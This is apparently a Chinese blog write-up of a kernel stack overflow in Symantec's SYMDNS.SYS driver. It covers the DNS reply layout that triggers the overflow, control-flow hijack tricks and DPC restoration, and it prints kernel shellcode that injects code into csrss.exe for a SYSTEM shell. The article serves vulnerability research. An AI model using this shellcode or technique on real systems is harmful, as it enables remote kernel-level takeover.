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📁 这次自已做的美工,可能很难看,但主要是为提高效率,这次全部生成了静态,只有一个链接查看最新文章的列表没有生成,因为我觉得没必要生成,浪费空间大小,那是一个很少用到的功能!这次去掉了很多功能,这个版本主
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              <tr> 
                <td width="100%"><p class="style6"><P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 原来根据FLASHSKY大牛在峰会上的报告分析了这个漏洞写了两篇随笔,,因为写得仓促,里面难免有不少错漏,朋友建议我汇总一下,也方便日后参考,于是把两篇文章汇总并做了些修改。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个漏洞与大多数堆栈溢出漏洞不同的是它是发生在内核态里。堆栈溢出发生于SYMANTEC防火墙的驱动SYMDNS.SYS中,当处理DNS答复时,由于未检验总域名长度,导致可以输入一超长域名导致溢出,溢出发生在RING0、IRQL = 2(DISPATCH_LEVEL)、 进程PID为0(idle进程)的环境下。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 一个DNS报文格式如下:<BR>&nbsp;&nbsp;&nbsp; "\xEB\x0B"&nbsp;&nbsp;&nbsp; //报文ID,可以随意设置,但在这个漏洞里是别有用途的,后面会说到<BR>&nbsp;&nbsp;&nbsp; "\x80\x00"&nbsp;&nbsp;&nbsp; //报文FLAG,15位置1表示这是一个答复报文<BR>&nbsp;&nbsp;&nbsp; "\x00\x01"&nbsp;&nbsp;&nbsp; //问题数量<BR>&nbsp;&nbsp;&nbsp; "\x00\x01"&nbsp;&nbsp;&nbsp; //答复数量<BR>&nbsp;&nbsp;&nbsp; "\xXX\xXX"&nbsp;&nbsp;&nbsp; //授权资源记录数,在这里不重要,随便设置<BR>&nbsp;&nbsp;&nbsp; "\xXX\xXX"&nbsp;&nbsp;&nbsp; //格外信息资源记录数,在这里不重要,随便设置<BR>&nbsp;&nbsp;&nbsp; 以上部分为DNS报文头<BR>&nbsp;&nbsp;&nbsp; "\xXX\xXX\x..."&nbsp;&nbsp;&nbsp; //域名,格式为每个分段域名长度+域名内容,比如www.buaa.edu.cn就是<BR>\x03\x77\x77\x77\x04\x62\x75\x61\x61\x03\x65\x64\x75\x02\x63\x6e\x00<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; w&nbsp;&nbsp; w&nbsp;&nbsp; w&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; b&nbsp;&nbsp; u&nbsp;&nbsp; a&nbsp;&nbsp; a&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e&nbsp;&nbsp; d&nbsp;&nbsp; u&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c&nbsp;&nbsp; n<BR>\x00表示到了末尾。处理的时候会把那长度记录数换成0x2e,就是".",就完成了处理。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 在SYMDNS.SYS中处理传入域名的函数位于SYMDNS.SYS基地址+0xa76处,这个函数在堆栈里分配了0x214个字节空间,再将域名拷入,虽然会计算总长度并做限制,但由于计算错误,算了也是白算,导致可以输入超长域名发生堆栈溢出。传入的每个域名分段有最大长度限制,不能超过0x40个字节,所以我每段SHELLCODE长度都是0x3f(63)个字节。在覆盖了532个字节后,覆盖了该函数的返回地址。这个漏洞有个特点,就是在堆栈中二次处理传入的域名,导致堆栈中返回地址之前的SHELLCODE的后半部分面目全非、惨不忍睹。现在有两种执行SHELLCODE的方法:</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 一是在我们覆盖的返回地址所在的esp+0xc处保存有我们整个DNS报文(包括DNS报文头)的地址,是一个在非分页池的地址,</FONT></P>
<P><FONT face=Verdana>74816d74 4c816c9b 816d002e 816c9e34<BR>&nbsp; |_____esp指向这&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |_______这个就是非分页池的地址</FONT></P>
<P><FONT face=Verdana>现在大家应该知道该干啥了吧?虽然在内核里没有固定的jmp [esp+0xc]、 call [esp+0xc]这样的地址,但我们可以变通一下,使用诸如pop/pop/pop/ret这样的指令组合,机器的控制权就交到我们手上了。不过这3条pop指令里最好不要带有pop ebp,不然会莫名其妙的返回到一个奇怪的地址。在strstr函数的最后有两个pop/pop/pop/ret的组合挺合适。现在明白开头那个报文ID的作用了吧?\xEB\x0B是一个直接跳转的机器指令,跳过一开始没用的DNS报文头和第一段SHELLCODE长度计数字节。FLASHSKY在会刊里说要跳过长度计数字节,但0x3f对应的指令是aas,对EAX进行ascii调整,所以在一般不影响EAX和标志的情况下可以把这个0x3f也算作SHELLCODE的一部分,可以省下不少字节^_^。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 二是在堆栈里覆盖的返回地址的esp+0x8处开始执行我们的SHELLCODE,返回地址之后的SHELLCODE那个函数不会做处理。但如果SHELLCODE实在太长的话会覆盖到有关DPC调度的一些信息。一个变通的方法,可以先跳回返回地址前的SHELLCODE的前半部分没被修改的部分,可以执行接近200个字节,再跳到返回地址后的SHELLCODE部分执行,这样空间就应该足够了。但由于堆栈中的SHELLCODE的每个段开始的0x3f已经被换成了0x2e,0x2e不单独对应机器码,所以只能在每个SHELLCODE段的最后部分改成\xeb\x01跳过0x2e。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 在安全返回法里,由于要取出堆栈里后面函数的返回地址,不能覆盖太多,只能使用第一种方法在池中执行SHELLCDOE,安全返回法的内核态SHELLCODE只有230个字节左右,池中还剩下310个字节左右可以利用。在非安全返回法由于关于DPC调度、被锁定的资源等关键数据所处堆栈位置距离溢出点比较大,所以可以在堆栈中执行。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 安全返回法</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 现在当前环境是0号进程,要把进程地址空间切到其他进程就得先获得那个进程的EPROCESS地址。0号进程很特别,就是该进程基本不挂在所有进程的链表上,比如说ActiveProcessLinks、SessionProcessLinks、WorkingSetExpansionLinks,正常情况来说只能枚举线程的WaitListHead来枚举所有线程并判断进程,这样很麻烦而且代码很长,但天无绝人之路,在KPCR+0x55c(+55c struct _KTHREAD *NpxThread)处保存有一个8号进程的一个线程ETHREAD地址,由ETHREAD+0x44处可以获得该线程所属EPROCESS的地址,而且8号进程是挂在除SessionProcessLinks之外的其它链表上的,所以现在我们能够获取其它进程EPROCESS地址了。下一步是切换进程地址空间,从目标进程EPROCESS+0x18处取出该进程页目录的物理地址并将当前CR3寄存器修改为该值既可(我一开始还修改了任务段KTSS中的CR3也为该值,结果发现这不是必须的)。然后在该进程内选择一个合适的线程来运行我们的用户态SHELLCODE,这个选择很重要,因为当前IRQL = 2,任何访问缺页的地址都将导致IRQL_NOT_LESS_OR_EQUAL蓝屏错误,因为缺页会导致页面I/O,最后会在对象上等待,这违背了不能在IRQL = 2等待对象的规则。按照一个标准的5调度状态模型的操作系统,当一个线程等待过久就会导致该线程的内核堆栈被换出内存,这样的线程我们是不能用的。所以我们需要判断ETHREAD+=0x11e(+11e&nbsp;&nbsp;&nbsp; byte&nbsp;&nbsp;&nbsp;&nbsp; KernelStackResident)是否为TRUE,为TRUE表示该线程内核堆栈未被换出内存。这又关系到究竟该选择哪个系统进程,选择系统进程这样返回的SHELL是SYSTEM的权限,该进程必须是个活跃的进程,才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的,因为在大多情况下这是一个0工作集的空闲进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe,因为想想看WIN32的子系统无论怎样都应该闲不住吧:),事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头,该链表链住了该进程的所有线程,链表位置在ETHREAD+0x1a4处:</FONT></P>
<P><FONT face=Verdana>struct _EPROCESS (sizeof=648)<BR>+000 struct _KPROCESS Pcb<BR>+050 struct _LIST_ENTRY ThreadListHead<BR>+050 struct _LIST_ENTRY *Flink<BR>+054 struct _LIST_ENTRY *Blink</FONT></P>
<P><FONT face=Verdana>struct _ETHREAD (sizeof=584)<BR>+000 struct _KTHREAD Tcb<BR>+1a4 struct _LIST_ENTRY ThreadListEntry<BR>+1a4 struct _LIST_ENTRY *Flink<BR>+1a8 struct _LIST_ENTRY *Blink<BR>或者EPROCESS+0x270处取链表头,链表位置在ETHREAD+0x240处:<BR>struct _EPROCESS (sizeof=648)<BR>+270 struct _LIST_ENTRY ThreadListHead<BR>+270 struct _LIST_ENTRY *Flink<BR>+274 struct _LIST_ENTRY *Blink</FONT></P>
<P><FONT face=Verdana>struct _ETHREAD (sizeof=584)<BR>+240 struct _LIST_ENTRY ThreadListEntry<BR>+240 struct _LIST_ENTRY *Flink<BR>+244 struct _LIST_ENTRY *Blink&nbsp;&nbsp;&nbsp; </FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 剩下的就是在该进程地址空间内分配虚拟地址,锁定,并拷贝SHELLCODE过去,依次调用API为:ZwOpenProcess(这里要注意,如果没改变CR3的话这个调用会导致蓝屏,因为地址空间不符)-&gt;ZwAllocateVirtualMemory-&gt;ZwLockVirtualMemory-&gt;ZwWriteVirtualMemory,为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP,它是保存在KTRAP_FRAME+0x68处,把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底InitialStack-x29c的地方,ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中,类似push 0x12345678; ret这样的格式,代码就会返回12345678的地址,所以在内存中就是\x68\x78\x56\x34\x12\xc3,将原来的返回地址覆盖那个12345678就行了,在执行完我们的功能代码后线程会恢复正常执行。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 最后一段是一些固定的针对该漏洞的特征返回,主要是取出未被覆盖的返回地址并让EBP恢复正常,并设置特定的寄存器值以满足返回后的检测条件。这里我跳过了所有剩下的在SYMDNS.SYS的调用,因为那些函数都会从堆栈中取值,而堆栈值很多都被我们改了,所以我直接返回到tcpip!UDPDeliver处的调用,返回这里有个好处,就是它完全不管你处理了什么、怎么处理,它只管检测返回值eax是否为0,很符合我们的要求,呵呵。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 这个SHELLCODE大概只有3/4的成功率,因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处,还有有时会碰到进程所有线程都被换出了内存,还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题,有时虚拟机狂蓝屏。。。。有关内核溢出里最大的问题估计就是缺页的问题了,由于IRQL = 2下不能换页,所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item,这可以在IRQL = 2下调用,然后由系统工作者线程来替我们完成工作。这都是些改进设想。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; SHELLCODE由内核SHELLCODE和用户SHELLCODE组成,内核SHELLCODE负责返回并执行用户SHELLCODE,用户SHELLCODE则是普通的功能,注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码,没提供完整的SHELLCODE,因为一是只是为了技术研究,而是不想被那些对技术一窍不通却只想着破坏的人利用。转成机器码只有230多个字节,基本不算太大:):<BR>&nbsp;&nbsp;&nbsp; <BR>__declspec(naked) JustTest() <BR>{&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; __asm<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call go1<BR>go1:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, 0xffdff55c<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, dword ptr [ebx]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, dword ptr [ebx+0x44]</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x73727363<BR>FindProcess:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edi, esp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea esi, dword ptr [ebx+0x1fc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x4<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop ecx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; repe cmpsb<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jecxz go2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebx, dword ptr [ebx+0xa0]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sub ebx, 0xa0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp FindProcess<BR>go2:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop edx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edx, dword ptr [ebx+0x50]<BR>FindThread:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movzx ecx, byte ptr [edx-0x86]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dec ecx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jecxz go3<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edx, dword ptr [edx]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jmp FindThread<BR>go3:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov eax, dword ptr [ebx+0x18]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp, esp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sub esp, 0x40<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov cr3, eax</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x10<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop ecx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor eax, eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0x40]<BR>ZeroStack:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; stosd<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; loop ZeroStack<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov byte ptr [ebp-0x38], 0x18<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [edx+0x3c]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0x38]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0x8]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x1f0fff<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov al, 0x6a<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edx, dword ptr [esp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int 0x2e<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add esp, 0x10</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov byte ptr [ebp-0x3], 0x2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x40<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x1000<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0x4]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edi, dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0x8]</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov al, 0x10<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edx, dword ptr [esp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int 0x2e<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add esp, 0x18</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x2<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ebx, dword ptr [ebp-0x4]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ebx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea ebx, dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push ebx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0x8]</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov al, 0x59<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edx, dword ptr [esp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int 0x2e<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add esp, 0x10</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edi, dword ptr [ebp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop edx<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov edx, dword ptr [edx-0x7c]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [edx+0x68]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop dword ptr [edi+0x210]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop dword ptr [edx+0x68]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add edi, 0x11c</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push 0x120<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push edi<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0xc]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push dword ptr [ebp-0x8]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov al, 0xf0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lea edx, dword ptr [esp]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int 0x2e</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add esp, 0x100<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xor eax, eax<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov esi, dword ptr [esp+0x38]<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov ebp,esp<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; add ebp,0x88<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret 0x2c<BR>&nbsp;&nbsp;&nbsp; }<BR>} </FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 非安全返回法二</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 没实现非安全返回法一,因为里面的技术要点都包括在安全返回法和非安全返回法二里了,而且限制实在太大,很让人不爽。主要就是那个BAT的下载文件的内容,可以参见相关文章。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 正如FLASHSKY所说,非安全返回法二的关键在于恢复DPC,不象安全返回法,我们完全不必关心线程切换和DPC调度。不过FLASHSKY夸大了DPC被破坏的情况,尤其是环境切换,就算在安全返回法里,在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的,以下是KPCR结构中涉及到DPC调度的部分:</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; +7e0 uint32 DpcInterruptRequested<BR>&nbsp;&nbsp;&nbsp; +7e4 void *ChainedInterruptList<BR>&nbsp;&nbsp;&nbsp; +7e8 uint32 CachePad3[2]<BR>&nbsp;&nbsp;&nbsp; +7f0 uint32 MaximumDpcQueueDepth<BR>&nbsp;&nbsp;&nbsp; +7f4 uint32 MinimumDpcRate<BR>&nbsp;&nbsp;&nbsp; +7f8 uint32 CachePad4[2]<BR>&nbsp;&nbsp;&nbsp; +800 struct _LIST_ENTRY DpcListHead<BR>&nbsp;&nbsp;&nbsp; +800 struct _LIST_ENTRY *Flink<BR>&nbsp;&nbsp;&nbsp; +804 struct _LIST_ENTRY *Blink<BR>&nbsp;&nbsp;&nbsp; +808 uint32 DpcQueueDepth<BR>&nbsp;&nbsp;&nbsp; +80c uint32 DpcRoutineActive<BR>&nbsp;&nbsp;&nbsp; +810 uint32 DpcCount<BR>&nbsp;&nbsp;&nbsp; +814 uint32 DpcLastCount<BR>&nbsp;&nbsp;&nbsp; +818 uint32 DpcRequestRate<BR>&nbsp;&nbsp;&nbsp; +81c void *DpcStack</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; DPC的处理方法有两种,一种是把KDPC对象串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里,系统检测到当前DPC链表不为空,于是调用KiRetireDpcList,KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员,显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE,然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象,DPC调度发生的频率是相当高的,但大部分时间都是处理定时器KTIMER过期DPC,很多DPC通过等待KTIMER的方法被在KiTimerExpiration-&gt;KiTimerListExpire里处理。这里的溢出是属于第一种方法,我们处于DPC调度中,DpcRoutineActive和DpcInterruptRequested都为TRUE,进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以,在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复,但就会降低溢出的成功率,因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏)。其实系统中有些蓝屏是系统有意调用KeBugCheck以防止你做某些事,这些事情如果你处理得好是不会对系统产生影响的,比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换,但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能,就是我们对内核感兴趣的原因,能够控制整个操作系统真的很爽,扯远了,呵呵。恢复DPC有个技巧,既然上一次KiIdleLoop的调用是KiRetireDpcList,那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令:</FONT></P>
<P><FONT face=Verdana>call&nbsp;&nbsp;&nbsp; nt!KiRetireDpcList<BR>cmp&nbsp;&nbsp;&nbsp;&nbsp; dword ptr [ebx+0x128],0x0</FONT></P>
<P><FONT face=Verdana>如果不改动这里的话环境切换后系统恢复到这里执行,下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空,但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了,切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚,加上0x2d,使它变为调用了SwapContext后的下一条指令:</FONT></P>
<P><FONT face=Verdana>call&nbsp;&nbsp;&nbsp; nt!SwapContext<BR>lea&nbsp;&nbsp;&nbsp;&nbsp; ebp,[ebx+0x800]</FONT></P>
<P><FONT face=Verdana>显然ebp已经恢复了,DPC调度可以继续进行了。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 恢复DPC我们有两种选择,一是将当前DPC跳过,二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便,可以省下不少代码,也是我使用的方法,不过有一个小问题,就是无法再PING通,会产生网络已被中断的错觉,其实网络是通的,SHELL也拿得到。第二种方法虽然网络功能一切正常,不过远程的机器会出现一些异常,比如开始菜单无法再用,当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁,该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方,所以可以很安全取到。</FONT></P>
<P><FONT face=Verdana>&nbsp;&nbsp;&nbsp; 下一步就是进行环境切换,要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处,把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处,并把IDLE线程状态(ETHREAD+02d&nbsp;&nbsp;&nbsp; byte&nbsp;&nbsp;&nbsp;&nbsp; State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp,记住,从这里开始我们已经处于新线程的堆栈中了,如果你之前有什么重要的信息压在IDLE线程的堆栈里,赶快在切换ESP前出栈吧。还有一点很重要的是,由于我们是强行把一个处于等待状态的线程进行环境切换并运行(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了,其机率快可以比上抽六合彩了),就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别,前者是处于等待状态且内核栈未被换出的线程链表,而后者是处于等待状态且内核堆栈已被换出的线程链表),否则就会在KiOutSwapKernelStack处发生死循环。最后就是直接返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的),系统就会接管工作了(这里需要提出的是,其实IDLE线程自从被赋于KPCR+0x128并被改为待命后,早在第一个int 0x2e就被调度执行了)。</FONT></P>
